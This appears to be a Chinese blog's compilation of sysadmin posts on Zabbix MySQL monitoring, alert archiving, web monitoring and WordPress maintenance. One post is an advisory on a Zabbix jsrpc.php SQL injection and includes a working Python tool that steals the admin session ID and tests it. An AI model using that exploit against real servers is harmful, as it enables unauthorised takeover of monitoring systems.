zabbix配置percona的插件获取更详细的mysql监控信息

一、前言

前段时间用了下zabbix+percona的插件监控MySql,感觉不错,内置了190多个监控项,40多个图形展示。对MySql的监控比较全面,自己导入模版之后稍微根据自己的需求进行修改就可以使用。

https://www.percona.com/doc/percona-monitoring-plugins/1.1/zabbix/index.html

二、部署

部署前提:你已经在MySql数据库添加安装好了zabbix-agent环境,并且在zabbix-server端添加agent

1、安装percona仓库

rpm -ivh http://www.percona.com/downloads/percona-release/redhat/0.1-3/percona-release-0.1-3.noarch.rpm

2、部署监控环境

Percona的监控插件是php编写的。通过php连接MySql来获取相关数据,所以需要你在本地安装php环境和php-MySql环境

yum -y install php php-mysql

3、安装percona的zabbix模版

yum -y install percona-zabbix-templates

安装完成生成如下文件

# rpm -ql percona-zabbix-templates
/var/lib/zabbix/percona
/var/lib/zabbix/percona/scripts
/var/lib/zabbix/percona/scripts/get_mysql_stats_wrapper.sh
/var/lib/zabbix/percona/scripts/ss_get_mysql_stats.php
/var/lib/zabbix/percona/templates
/var/lib/zabbix/percona/templates/userparameter_percona_mysql.conf
/var/lib/zabbix/percona/templates/zabbix_agent_template_percona_mysql_server_ht_2.0.9-sver1.1.6.xml

可以看到他的组成部分有一个shell脚本,一个php脚本,一个zabbix的配置文件,和一个Zabbix 模版的xml。下面我们需要引用配置文件,并在Zabbix上来导入该模版。

4、复制用户自定义配置项到zabbix配置目录

cp /var/lib/zabbix/percona/templates/userparameter_percona_mysql.conf /etc/zabbix/zabbix_agentd.d/

5、让php可以连接到MySql上

授权监控用户

MariaDB [(none)]> grant select,process,replication client on *.* to zabbix@'192.168.10.31' identified by 'zabbixpass';
MariaDB [(none)]> flush privileges;

修改php文件

vim /var/lib/zabbix/percona/scripts/ss_get_mysql_stats.php
$mysql_user = 'zabbix';
$mysql_pass = 'zabbixpass';

修改监控脚本HOST选项,为MySql服务器IP地址

# vim /var/lib/zabbix/percona/scripts/get_mysql_stats_wrapper.sh
HOST=192.168.10.31

6、测试监控脚本是否可用

# /var/lib/zabbix/percona/scripts/get_mysql_stats_wrapper.sh gg
405647

7、导入zabbix模版

将/var/lib/zabbix/percona/templates/zabbix_agent_template_percona_mysql_server_ht_2.0.9-sver1.1.6.xml下载到本地,然后在zabbix上导入

未分类

下面你就可以给你的MySQL数据库指定监控模板了,由于篇幅原因就不在截图。

三、监控结果展示

未分类

未分类

未分类

未分类

未分类

Zabbix 3使用Percona Monitoring Plugins监控MySQL

因为Zabbix自带的MySQL监控没有提供可以直接使用的Key,所以一般不采用,业界的同学们都使用Percona Monitoring Plugins 监控MySQL的方式。

1、MySQL客户端需要的系统环境

percona监控zabbix的脚本是使用php写的,所以需要准备好php运行环境,这里直接用yum安装就可以满足要求了:

$ yum install zabbix-agent php php-mysql
$ php -v
PHP 7.0.9 (cli) (built: Jul 20 2016 18:08:08) ( NTS )
$ mysql --version
mysql  Ver 14.14 Distrib 5.5.51, for Linux (x86_64) using readline 5.1

2、安装percona-zabbix-templates

$ yum install https://www.percona.com/downloads/percona-monitoring-plugins/1.1.6/percona-zabbix-templates-1.1.6-1.noarch.rpm

也可配置Percona yum仓库后安装,建议配置percona的yum源,因为作为一个DBA你肯定会用到percona toolkit套件。

$ yum install https://www.percona.com/redir/downloads/percona-release/redhat/latest/percona-release-0.1-3.noarch.rpm
$ yum install percona-zabbix-templates

3、percona-zabbix-templates配置文件介绍

$ rpm -ql percona-zabbix-templates
# 监控获取MySQL状态的;
/var/lib/zabbix/percona/scripts/get_mysql_stats_wrapper.sh

# 配置连接数据库用户名密码的,用shell来调用PHP;
/var/lib/zabbix/percona/scripts/ss_get_mysql_stats.php

# Zabbix-agent端监控MySQL的配置文件;
/var/lib/zabbix/percona/templates/userparameter_percona_mysql.conf

# Zabbix模板文件;
/var/lib/zabbix/percona/templates/zabbix_agent_template_percona_mysql_server_ht_2.0.9-sver1.1.6.xml

4、配置zabbix-agent

把配置文件复制到zabbix-agent目录下。

$ cp /var/lib/zabbix/percona/templates/userparameter_percona_mysql.conf /etc/zabbix/zabbix_agentd.d/

默认zabbix-agent配置文件已经把/etc/zabbix/zabbix_agentd.d/目录include进去了。

$ grep Include /etc/zabbix/zabbix_agentd.conf | grep -v "^#"
Include=/etc/zabbix/zabbix_agentd.d/

5、重新启动zabbix-agent即可

# CentOS6
$ service zabbix-agent restart

# CentOS7
$ systemctl restart zabbix-agent

6、zabbix-agent上配置MySQL连接

首先如果你要监控的MySQL不是默认的端口3306(是就忽略此步骤),则需要修改/var/lib/zabbix/percona/scripts/get_mysql_stats_wrapper.sh脚本,小心被坑。修改端口号码文件:

# 这里要先建好这个文件,否则会报rm权限错误;
$ touch /tmp/localhost-mysql_cacti_stats.txt:3307
$ chown -R zabbix.zabbix /tmp/localhost-mysql_cacti_stats.txt:3307

# 修改端口脚本;
$ vim /var/lib/zabbix/percona/scripts/get_mysql_stats_wrapper.sh
CACHEFILE="/tmp/$HOST-mysql_cacti_stats.txt "
换成:
CACHEFILE="/tmp/$HOST-mysql_zabbix_stats.txt:3307"

TIMEFLM=`stat -c %Y /tmp/$HOST-mysql_cacti_stats.txt`
换成:
TIMEFLM=`stat -c %Y /tmp/$HOST-mysql_zabbix_stats.txt:3307`

如果你的MySQL是编译安装的,执行客户端命令需要绝对路径的话,你可能还需要更改脚本中的执行命令语句:

RES=`HOME=~zabbix mysql -e 'SHOW SLAVE STATUSG' | egrep '(Slave_IO_Running|Slave_SQL_Running):' | awk -F: '{print $2}' | tr 'n' ','`
换成:
RES=`/usr/local/mysql/bin/mysql -e 'SHOW SLAVE STATUSG' | egrep '(Slave_IO_Running|Slave_SQL_Running):' | awk -F: '{print $2}' | tr 'n' ','`

(创建监控MySQL的用户和密码。

mysql> GRANT SELECT,PROCESS,SUPER,REPLICATION CLIENT ON *.* TO 'zabbixmoniter'@'localhost' IDENTIFIED BY "123456";
mysql> flush privileges;

然后PHP脚本连接MySQL的用户名和密码。

$ cat /var/lib/zabbix/percona/scripts/ss_get_mysql_stats.php
$mysql_user = 'zabbixmoniter';
$mysql_pass = '123456';
$mysql_port = 3306;

测试脚本

$ bash /var/lib/zabbix/percona/scripts/get_mysql_stats_wrapper.sh gg
908

7、配置Zabbix Server 3.0

先去percona官网:https://www.percona.com/downloads/percona-monitoring-plugins/

下载Percona Monitoring Plugins最新tar.gz源码包。解压里面有cacti、nagios、zabbix不同监控模块,找到zabbix/templates/目录,然后通过Zabbix Web界面 (Configuration -> Templates -> Import) 导入XML模板,注意要另外选择上Screens。最后配置主机关联上Percona MySQL Server Template模板即可。

针对Zabbix server 3.0导入模板文件时可能会报错:

Invalid tag “/zabbix_export/date”:“YYYY-MM-DDThh:mm:ssZ” is expected.

经过核查,这个原因是模版错误,是因为percona官方上1.1.6还是zabbix2.0的版本模版,所以需要跟新上来匹配zabbix3.0的模版规范,而且这个zabbix模版还是直接copy的cacti模版,比较粗糙,用more查看就可以看到里面都是cacti的内容,可见percona官网对zabbix也不是很重视嘛,至少不如cacti那样重视的。

解决:网上有人在原来的zabbix_agent_template_percona_mysql_server_ht_2.0.9-sver1.1.6_1.xml之上进行修改,改完后就可以import导入进去了,(下载地址:http://jaminzhang.github.io/soft-conf/Zabbix/zbx_percona_mysql_template.xml)。

模板导入进去之后,接下来要做的就是对主机进行添加模板了,当然这属于zabbix的知识了,自行看博客zabbix章节。percona这套MySQL监控项很多,需要好好细看才能理解。

8、MySQL从库监控Slave配置

先在mysql slave的agent里面需要check下看是否生效:

$ sh /var/lib/zabbix/percona/scripts/get_mysql_stats_wrapper.sh running-slave                                                                         
ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: NO)
0

所以需要配置下访问mysql的一些基本参数:

$ cat /etc/my.cnf
[mysql]
user=zabbixmoniter
password=ys_ipowerlong0418
socket=/usr/local/mysql/mysql.sock

再check试试,就可以看到了:

$ sh /var/lib/zabbix/percona/scripts/get_mysql_stats_wrapper.sh running-slave
1

ZABBIX高危漏洞,无需授权登陆即可完成控制(附利用工具)

  • zabbix是一个开源的企业级性能监控解决方案。

  • 官方网站:http://www.zabbix.com

  • zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限。

  • 影响范围:2.2.x, 3.0.0-3.0.3。(其他版本未经测试)

漏洞测试

在您的zabbix的地址后面加上如下url:

/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim
estamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi
story.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfil
e=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=
17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&
mark_color=1

输出结果,出现如下内容(包含:You have an error in your SQL syntax;)表示漏洞存在:

<div class="flickerfreescreen" data-timestamp="1471054088083" id="flickerfreescreen_1"><table class="list-table" 
id="t57ae81946b8cb"><thead><tr><th class="cell-width">Timestamp</th><th>Value</th></tr></thead><tbody><tr 
class="nothing-to-show"><td colspan="2">No data found.</td></tr></tbody></table></div><div class="msg-bad"><div 
class="msg-details"><ul><li>Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES 
(39, 1, 'web.item.graph.period', '3600', 2, 2'3297)] [You have an error in your SQL syntax; check the manual that 
corresponds to your MySQL server version for the right syntax to use near ''3297)' at line 1]</li><li>Error in query 
[INSERT INTO profiles (profileid, userid, idx, value_str, type, idx2) VALUES (40, 1, 'web.item.graph.stime', 
'20160813041028', 3, 2'3297)] [You have an error in your SQL syntax; check the manual that corresponds to your MySQL 
server version for the right syntax to use near ''3297)' at line 1]</li><li>Error in query [INSERT INTO profiles 
(profileid, userid, idx, value_int, type, idx2) VALUES (41, 1, 'web.item.graph.isnow', '1', 2, 2'3297)] [You have an 
error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use 
near ''3297)' at line 1]</li></ul></div><span class="overlay-close-btn" onclick="javascript: 
$(this).closest('.msg-bad').remove();" title="Close"></span></div>

以上为仅为漏洞验证测试方式。

攻击者可以通过进一步构造语句进行错误型sql注射,无需获取和破解加密的管理员密码。

有经验的攻击者可以直接通过获取admin的sessionid来根据结构算法构造sid,替换cookie直接以管理员身份登陆。

利用工具,可自动判断Session是否可用

未分类

import urllib,sys,urllib2,urllib
def cookie(url):
    poc='/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=(select 1 from (select count(*),concat(floor(rand(0)*2), (select sessionid from sessions where userid=1 and status=0 limit 1))x from information_schema.character_sets group by x)y)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color='
    body= urllib.urlopen(url+poc).read()
    cookie=body.split('Duplicate entry')[1].split('for key')[0][3:-2]
    return cookie
def test(cookie,url):
    url=url+'proxies.php'
    req=urllib2.Request(url)
    cook="zbx_sessionid=%s" % cookie
    req.add_header('Cookie', cook)
    response=urllib2.urlopen(req)
    data=response.read()
    if data.find('Access denied.') < 0:
        print "OK-->",cookie
    else:
        print 'ERROR'
if len(sys.argv)==4:
    for i in open(sys.argv[3]).readlines():
        print i
        test(cookie(i),i)
else:
    print sys.argv[1]
    test(cookie(sys.argv[1]),sys.argv[1])

Zabbix错误”zbx_mem_malloc(): out of memory”解决方法

Zabbix Server突然挂了,查看log报错如下:

using configuration file: /etc/zabbix/zabbix_server.conf
...
[file:dbconfig.c,line:545] zbx_mem_malloc(): out of memory (requested 16 bytes)
[file:dbconfig.c,line:545] zbx_mem_malloc(): please increase CacheSize configuration parameter

报错里已经很明确的提示了修复办法:please increase CacheSize configuration parameter

所以,我们就去zabbix_server.conf中找到CacheSize字段

### Option: CacheSize
#   Size of configuration cache, in bytes.
#   Shared memory size for storing host, item and trigger data.
#
# Mandatory: no
# Range: 128K-8G
# Default:
# CacheSize=8M

根据服务器配置情况,修改CacheSize

### Option: CacheSize
#   Size of configuration cache, in bytes.
#   Shared memory size for storing host, item and trigger data.
#
# Mandatory: no
# Range: 128K-8G
# Default:
CacheSize=2048M

重启Zabbix Server即可

systemctl start zabbix-server

zabbix告警事件归档与提取

由于现网设备量比较大,根据业务类型又分了上百个左右的业务模块。而基于zabbix搭建的基础告警每天吐出的告警信息特别多。为了提高告警的准确性和及时率,同时也便于后期查询和报表统计。考虑将zabbix的部分进行下修改。

一、alerts表信息提取

alerts 中存放的是通过短信、邮件或其他媒介发出的告警数据 。比如要提取当天的所有磁盘相应的已发出的所有告警,可以通过如下sql 语句实现:

select FROM_UNIXTIME(clock),sendto,`subject` from alerts
where `subject` like '%磁盘%'
and DATE_FORMAT(FROM_UNIXTIME(clock),'%Y-%m-%d') = DATE_FORMAT(NOW(),'%Y-%m-%d');

由于其中的clock时间使用的是unixtime,所以这里需要查询的时候通过转化,就成datetime时间 。查询结果如下:

未分类

不过通过alter表获取的数据有以下缺点:

  • 不好明确区分告警问题是否已恢复(通过告警恢复正常触发器可以判读,但 alerts 数据量比较大时,就不好处理了);

  • 并未配置媒介告警的事件类无法在该表体现;

  • 不便区分告警问题的级别;

二、event事件表关联

通过event表,关联基他几个表的数据,可以将查询的结果生成一个临时表 。通过查询该临时表,可以得到我们关心的几个数据:

#创建临时表
DROP TABLE IF EXISTS `tmp1`;
create table tmp1 as
     (SELECT
            `hosts`.`host`,
            `triggers`.triggerid,
            `triggers`.description,
            `triggers`.priority,
            `events`.`value`,
            FROM_UNIXTIME(`events`.clock) time
    FROM
            `hosts`,
            `triggers`,
            `events`,
            `items`,
            `functions`,
            `groups`,
            `hosts_groups`
    WHERE
            `hosts`.hostid = `hosts_groups`.hostid
            AND `hosts_groups`.groupid = `groups`.groupid
            AND `triggers`.triggerid = `events`.objectid
            AND `hosts`.hostid = `items`.hostid
            AND `items`.itemid = `functions`.itemid
            AND `functions`.triggerid = `triggers`.triggerid);
#查询磁盘告警,且未恢复的
select * from tmp1 where value=1
and  triggerid not in (select triggerid from tmp1 where value=0)
and  description like '%磁盘%';

其中triggers.priority字段表示的是事件的告警级别(如普通、严重),events.value代表的是告警事件是否恢复(1代表存在问题,0代表正常),triggers.description 为告警描述信息 。

event事件关联临时表虽然解决了我们的需求,不过也存在一些小瑕疵:由于设备量比较多,仅仅几个月的基础事件就有几百万条,每次查询为了保证事件的完整性,都需要执行删除临时表,再重新将查询结果生成到临时表的方法相对较慢 ,而且当这个查询执行的时候会对mysql 造成一点性能伤害 ---尽管可以在zabbix 的mysql 备库上执行 。

三、mysql 触发器

为了满足后期一些报表定制查询的需要,决定使用触发器,对event事件表发生insert操作时,自动将查行一个select关联查询,并将关联查询的结果

未分类

这里只使用newevent事件表,其中devtype、cause、sendstatus字段也暂时不用,后期需要分表设计时,可以考虑使用。如果启用dict表,还有一个可优化的项,因为description类型只有几千个,而newevent事件有几百万条,可以去掉description字段,将该字段放到dict表里,通过descid 字段去关联。

这里先以最简单的方式进行实现,先建库建表,如下:

DROP DATABASE IF EXISTS `report`;
CREATE DATABASE report character set utf8;
USE report;
DROP TABLE IF EXISTS `newevent`;
CREATE TABLE `newevent` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `host` varchar(128) CHARACTER SET utf8 NOT NULL DEFAULT '',
  `triggerid` bigint(20) unsigned NOT NULL,
  `description` varchar(255) CHARACTER SET utf8 NOT NULL DEFAULT '',
  `priority` int(11) NOT NULL DEFAULT '0',
  `value` int(11) NOT NULL DEFAULT '0',
  `time` datetime DEFAULT NULL,
   primary key (id)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

触发器创建如下:

DELIMITER $$
DROP TRIGGER IF EXISTS after_insert_on_event;
CREATE TRIGGER after_insert_on_event
AFTER INSERT ON zabbix.`events`
FOR EACH ROW
BEGIN
    INSERT INTO report.newevent (
        report.newevent.host,
        report.newevent.triggerid,
        report.newevent.description,
        report.newevent.priority,
        report.newevent.value,
        report.newevent.time
    )
    SELECT
        zabbix.`hosts`.`host`,
        zabbix.`triggers`.triggerid,
        zabbix.`triggers`.description,
        zabbix.`triggers`.priority,
        zabbix.`events`.`value`,
        FROM_UNIXTIME(zabbix.`events`.clock)
    FROM
        zabbix.`hosts`,
        zabbix.`triggers`,
        zabbix.`events`,
        zabbix.items,
        zabbix.functions,
        zabbix.groups,
        zabbix.hosts_groups
    WHERE
        zabbix.`hosts`.hostid = zabbix.hosts_groups.hostid
        AND zabbix.hosts_groups.groupid = zabbix.groups.groupid
        AND zabbix.`triggers`.triggerid = zabbix.`events`.objectid
        AND zabbix.`hosts`.hostid = zabbix.items.hostid
        AND zabbix.items.itemid = zabbix.functions.itemid
        AND zabbix.functions.triggerid = zabbix.`triggers`.triggerid
        AND zabbix.`events`.eventid=new.eventid;
END;
$$
DELIMITER ;

注,这个新的事件表同样也可以创建在zabbix库内,这里单独又建一个库的目的主要是为了后期定制开发及和其他平台对接的需要。后续只要event表中每新增一条数据,对应的数据就会在新的表中增加。

四、待解决问题及其他

1、备库触发器问题

最早的设计是将mysql 的这个触发器和新库建在备库上,不过发现在备库上创建完成后,newevent表中并没有数据,在网上也查到过主备库同步,备库触发器不生效的问题。网上给的解释是由于主备库之间的同步模式为mixed或row级时,就会出现备库上不捕获inster这种操作的情况。改成基于sql 语句同步的方式会解决,不过发现更改为基于sql 语句后,也不生效。

不重启数据库,通过修改变量修改sql 模式的语名如下:

SET GLOBAL binlog_format = 'STATEMENT';

mysql同步复制的三种模式如下:

-- 基于SQL语句的复制(statement-based replication, SBR),
-- 基于行的复制(row-based replication, RBR),
-- 混合模式复制(mixed-based replication, MBR)。

具体三者之间的优缺点比对可以参看csdn上的一篇博文 --- MYSQL复制的几种模式(http://blog.csdn.net/adparking/article/details/7586054) 。

还有提到和mysql 事务隔离级别相关的,关于事务隔离级别部分的知识可以参看这篇博文 --- MySQL数据库事务隔离级别(http://blog.csdn.net/jiangwei0910410003/article/details/24960785) 。

2、其他

如果想基于老的想要后期查询或改档用,并且同时又想保证查询的速度,可以对历史的newevent做一个归档,比如,select每三个月的数据将其保存另一个带日志的表中。再清空该表的数据,重新接受触发数据库写入。

Zabbix使用Pycurl模块监控web页面状态

由于网络的问题,zabbix自带web模块用不了,后台研发2b,老是更新正式环境安装包,导致一直出问题,老是给他们擦屁股,早说过这事,他们不配合,现在出问题了,挺爽,这锅我表示不背,就找了pycurl这个模块写个监控。

pycurl模块用法:

(这块是抄的,引用地址:http://blog.csdn.net/xsj_blog/article/details/52102652)

c = pycurl.Curl()    #创建一个curl对象 
c.setopt(pycurl.CONNECTTIMEOUT, 5)    #连接的等待时间,设置为0则不等待  
c.setopt(pycurl.TIMEOUT, 5)           #请求超时时间  
c.setopt(pycurl.NOPROGRESS, 0)        #是否屏蔽下载进度条,非0则屏蔽  
c.setopt(pycurl.MAXREDIRS, 5)         #指定HTTP重定向的最大数  
c.setopt(pycurl.FORBID_REUSE, 1)      #完成交互后强制断开连接,不重用  
c.setopt(pycurl.FRESH_CONNECT,1)      #强制获取新的连接,即替代缓存中的连接  
c.setopt(pycurl.DNS_CACHE_TIMEOUT,60) #设置保存DNS信息的时间,默认为120秒  
c.setopt(pycurl.URL,"http://www.baidu.com")      #指定请求的URL  
c.setopt(pycurl.USERAGENT,"Mozilla/5.2 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50324)")    #配置请求HTTP头的User-Agent
c.setopt(pycurl.HEADERFUNCTION, getheader)   #将返回的HTTP HEADER定向到回调函数getheader
c.setopt(pycurl.WRITEFUNCTION, getbody)      #将返回的内容定向到回调函数getbody
c.setopt(pycurl.WRITEHEADER, fileobj)        #将返回的HTTP HEADER定向到fileobj文件对象
c.setopt(pycurl.WRITEDATA, fileobj)          #将返回的HTML内容定向到fileobj文件对象
c.getinfo(pycurl.HTTP_CODE)         #返回的HTTP状态码
c.getinfo(pycurl.TOTAL_TIME)        #传输结束所消耗的总时间
c.getinfo(pycurl.NAMELOOKUP_TIME)   #DNS解析所消耗的时间
c.getinfo(pycurl.CONNECT_TIME)      #建立连接所消耗的时间
c.getinfo(pycurl.PRETRANSFER_TIME)  #从建立连接到准备传输所消耗的时间
c.getinfo(pycurl.STARTTRANSFER_TIME)    #从建立连接到传输开始消耗的时间
c.getinfo(pycurl.REDIRECT_TIME)     #重定向所消耗的时间
c.getinfo(pycurl.SIZE_UPLOAD)       #上传数据包大小
c.getinfo(pycurl.SIZE_DOWNLOAD)     #下载数据包大小 
c.getinfo(pycurl.SPEED_DOWNLOAD)    #平均下载速度
c.getinfo(pycurl.SPEED_UPLOAD)      #平均上传速度
c.getinfo(pycurl.HEADER_SIZE)       #HTTP头部大小

代码如下:

#!/usr/bin/env python
# __*__coding:utf8__*__
#Author:wangpengtai
#Blog:http://wangpengtai.blog.51cto.com/
import pycurl
import sys
import StringIO #引用该模块的原因是:使用pycurl后会打印出页面内容,我们不需要看到这个内容,只需要获取页面反馈信息就行了,只能将其写入缓存中,目前没找到好办法,学艺不精,不会使用重定向写到os.devnull中,无奈初次下策。。。
#开始使用的是写入临时文件,但是会有权限问题,导致zabbix无法获取到数据。
class WebStatus(object):
    def __init__(self, url):
        self.url = url
        self.curl = pycurl.Curl()
        self.string = StringIO.StringIO()
        # 连接等待时间,0则不等待
        self.curl.setopt(pycurl.CONNECTTIMEOUT, 5)
        # 超时时间
        self.curl.setopt(pycurl.TIMEOUT, 5)
        # 下载进度条,非0则屏蔽
        self.curl.setopt(pycurl.NOPROGRESS, 1)
        # 指定HTTP重定向最大次数
        self.curl.setopt(pycurl.MAXREDIRS, 5)
        # 完成交互后强制断开连接,不重用
        self.curl.setopt(pycurl.FORBID_REUSE, 1)
        # 设置DNS信息保存时间,默认为120秒
        self.curl.setopt(pycurl.DNS_CACHE_TIMEOUT, 60)
        # 设置请求的Url
        self.curl.setopt(pycurl.URL, self.url)
        self.curl.setopt(pycurl.WRITEFUNCTION, self.string.write)#将页面内容写入缓存
        self.curl.perform()
    def request_value(self):
        data = {
            "Http_code": self.curl.getinfo(pycurl.HTTP_CODE),
            "Speed_download": self.curl.getinfo(pycurl.SPEED_DOWNLOAD),
            "Connect_time": self.curl.getinfo(pycurl.CONNECT_TIME),
            "Total_time": self.curl.getinfo(pycurl.TOTAL_TIME),
            "Dnslookup_time": self.curl.getinfo(pycurl.NAMELOOKUP_TIME),
            "Redirect_time": self.curl.getinfo(pycurl.REDIRECT_TIME),
            "Redirect_count": self.curl.getinfo(pycurl.REDIRECT_COUNT)
        }
        return data
    def __end__(self):  #释放内存和连接,做一个有始有终,有责任心的运维狗
        self.string.close()
        self.curl.close()
if __name__ == "__main__":
    Usage = """
Usage: python web_monitor.py url [Http_code|Speed_download|Connect_time|Total_time|Dnslookup_time|Redirect_time|Redirect_count]
    """
    try:
        url = sys.argv[1]
        request = sys.argv[2]
        try:
            s = WebStatus(url)
            try:
                print s.request_value()[request]
            except KeyError:
                print "Make sure 2nd argument is right!"
        except pycurl.error:
            print "Make sure the url is right or reachable!"
    except IndexError:
        print "Must be 2 arguments given!%s" % Usage

验证:www.baidu.com一直是我测(攻)试(击)的对象

未分类

一、配置zabbix自定义监控

这个相对来说比较灵活,可以找一台机器专门用来做监控,只需要在这台机器上配置以下内容就可以监控多个URL了。

zabbix界面中可以配置一个模版,将其挂在该机器上就行了。

1、将代码写到下面目录下并加上可执行权限

[root@zabbix-12-195 scripts]# pwd
/etc/zabbix/scripts
[root@zabbix-12-195 scripts]# vim web_monitor.py 
[root@zabbix-12-195 scripts]# chmod +x web_monitor.py

2、配置zabbix_agentd.conf

[root@zabbix-12-195 scripts]# cat /etc/zabbix_agentd.conf
UserParameter=web[*],/etc/zabbix/scripts/web_monitor.py $1 $2

3、重启zabbix-agentd

[root@zabbix-12-195 scripts]# service zabbix-agentd restart

二、配置zabbix监控

直接上图了,后续的添加就自由发挥了,好多返回值可以出图,可以做触发器告警等。不多叙述了。

未分类

未分类

未分类

wordpress更换域名、数据库批量替换域名过程记录

群里网友说公司抬头更改了,所以要把公司网站把域名改一下,而网站内容里面涉及到原来域名的地方太多,手动换要很久,那么可以使用phpmyadmin批量替换一下。下面就把wordpress更换域名、数据库批量替换域名过程记录下来,给有需要的朋友提供一个参考。

一、考虑把老域名做301重定向到新域名

前面写过不少类似的教程,可以参考一下:

宝塔linux面板常见问题解答 http://www.vpsss.net/2001.html

如何在windows vps中做域名301重定向 http://www.vpsss.net/63.html

lnmp环境设置301重定向 http://www.vpsss.net/569.html

DNSPOD实现域名301重定向的方法 http://www.vpsss.net/1538.html

对域名301重定向设置方法的补充和完善 http://www.vpsss.net/1566.html

二、替换域名

尽管下面操作魏艾斯博客做过几十次了,但还是提醒您更改网站和数据库内容之前,务必先备份一下,以防不必要的意外情况出现。

备份、备份、备份,重要的事情说三遍!

1、在wordpress后台更换域名,如下图在设置-常规中,把wordpress地址和站点地址更换为新域名,保存。

未分类

或者登录到phpmyadmin数据库管理页面,找到wp_options表; 第二步:将表中的siteurl和 home 字段的值修改为当前的新域名,如下图修改siteurl值的修改和home值。

未分类

以上方法二选一即可,个人感觉修改数据库的方法最好,操作最简便。

2、点击SQL,将下面命令输入进去:

UPDATE wp_posts SET post_content = replace( post_content, ‘http://www.old.com’, ‘http://www.new.com’ ) ;
UPDATE wp_posts SET guid = replace( guid, ‘http://www.old.com’, ‘http://www.new.com’ ) ;
www.old.com代表老域名,www.new.com代表新域名,用自己的域名替换一下。

然后点击 执行,如果没有出现错误,那么就会将文章和评论里的所有地址进行了更换。

未分类

3、网站根目录下 robots.txt里面,一般会有sitemap的命令,把老域名换成新域名,否则会导致百度站长工具里面的抓取诊断错误。

4、如果你使用了百度站长工具,还需要以下操作。老域名不要删除,在网站管理里面添加新域名(需要验证通过),然后找到“网站改版”这个栏目,添加改版规则,旧域名www.old.com,新域名www.new.com,这样百度权重转移会快些。还有网页抓取-robots里面要更新一下。还有站长工具-链接提交里面的主动提交-sitemap,新域名http://www.new.com/sitemap_baidu.xml输入进去,点击提交。

5、用网站统计代码的还需要更换新代码。网站统计添加新域名,把统计代码放到网站后台,在wp后台-外观-主题设置-流量统计代码,保存。

使用wordpress插件Autoptimize合并压缩CSS和JS文件提高访问速度

网站中加载了过多的js、css文件势必会导致WordPress访问速度变慢,服务器在海外的这一点尤为明显;

为了让WordPress打开的速度变快一点,如果你的网站加载了不少js、css文件可以考虑将其压缩合并一下减少加载次数降低文件体积可以有效降低加载压力从而有效增快打开的速度;

Autoptimize这是国外比较有名的WordPress优化插件

  • 利用它能够轻易傻瓜化将网站css/js文件压缩合并并且生成缓存,这对提高WordPress访问速度是大大有利的;

  • 好多复杂的主题模板,动不动就是加载了一大堆js文件,但又不想丢掉一些主题特效的用这个插件来优化自己的个人博客再为合适不过;

Autoptimize特点

  • 合并js/css
  • 压缩缓存html
  • 添加Expires Headers【网页缓存】

Autoptimize设置说明

未分类

  • HTML:优化HTML代码:果断勾选,自动压缩HTML文件

  • Keep HTML comment?:是否保留HTML注释,根据需要选择,部分功能需要保留,例如Google Adsen

未分类

  • JavaScript:优化JavaScript代码:果断勾选

  • Force JavaScript in?:把JavaScript强制放在头部。一般来说,我们都提倡把JavaScript放在页面的底部,以此来加速网站。

  • 但对于部分基于jQurey的WordPress主题来说,则会出现错位等的情况,一般不勾选。

  • 只在中寻找脚本?:与Force JavaScript in选项配合使用,针对基于jQurey的
    WordPress主题,以此来控制基于jQurey的WordPress主题缓存文件的过大的问题。

  • Exclude scripts from Autoptimize:排除名单,即不同时压缩的JavaScript文件。一般情况下保持默认即可。

  • 添加异常处理环绕(try-catch wrapping)?:若压缩JavaScript代码的过程中,出现网站部分功能出错的问题,勾选此项能解决大部分问题。

  • 优化CSS代码:同上,勾选 Generate data: URIs for images?:把CSS中包含的小图片(背景之类的)直接合并入CSS文件,而不是作为一个单独的图片。

  • 勾选 Inline and Defer CSS?:合并和延迟CSS。此选项的意思是在网页刚开始加载的时候,只加载必要的CSS文件,其它部分延迟加载。

  • 部分访问量大的WordPress站点,可勾选此项,减缓服务器压力,加快速度。

  • Inlining all CSS:合并所有CSS,此项可以提高访问量小的WordPress站点的加载速度,反之,访问量大的话,则会减慢速度,加大服务器负载!小站点勾选此项。

  • Exclude CSS from Autoptimize:排除的CSS文件。

wordpress全站开启HTTPS协议的方法教程

自从百度站长平台发布的《百度开放收录https站点公告》中表示对相同权值的站点,会优先对待采用https协议的页面后,https瞬间火爆起来,各大小网站纷纷启用https协议。但是很多wordpress用户给服务器安装配置SSL证书开启https协议后发现,网站内容不能正常访问显示了,之所以会这样是因为还没有对wordpress进行对应的修改,下面博客吧分享两种修改方法让wordpress网站全面支持https协议。

方法一

利用wordpress提供的api,通过修改主题让wordpress支持https。

优点:不涉及数据库,操作简单,不再使用https时只需要把代码删除即可,不会伤及网站。缺点:换主题的时候要重新修改。

代码一:HTTPS绝对链接替换(推荐)

在当前使用主题的functions.php文件中添加以下代码:

add_filter('get_header', 'fanly_ssl');
function fanly_ssl(){
    if( is_ssl() ){
        function fanly_ssl_main ($content){
            $siteurl = get_option('siteurl');
            $upload_dir = wp_upload_dir();
            $content = str_replace( 'http:'.strstr($siteurl, '//'), 'https:'.strstr($siteurl, '//'), $content);
            $content = str_replace( 'http:'.strstr($upload_dir['baseurl'], '//'), 'https:'.strstr($upload_dir['baseurl'], '//'), $content);
            return $content;
        }
        ob_start("fanly_ssl_main");
    }
}

代码二:HTTPS相对链接替换

使用相对链接,HTTP和HTTPS双协议共存。

在当前使用主题的functions.php文件中添加以下代码:

add_filter('get_header', 'fanly_ssl');
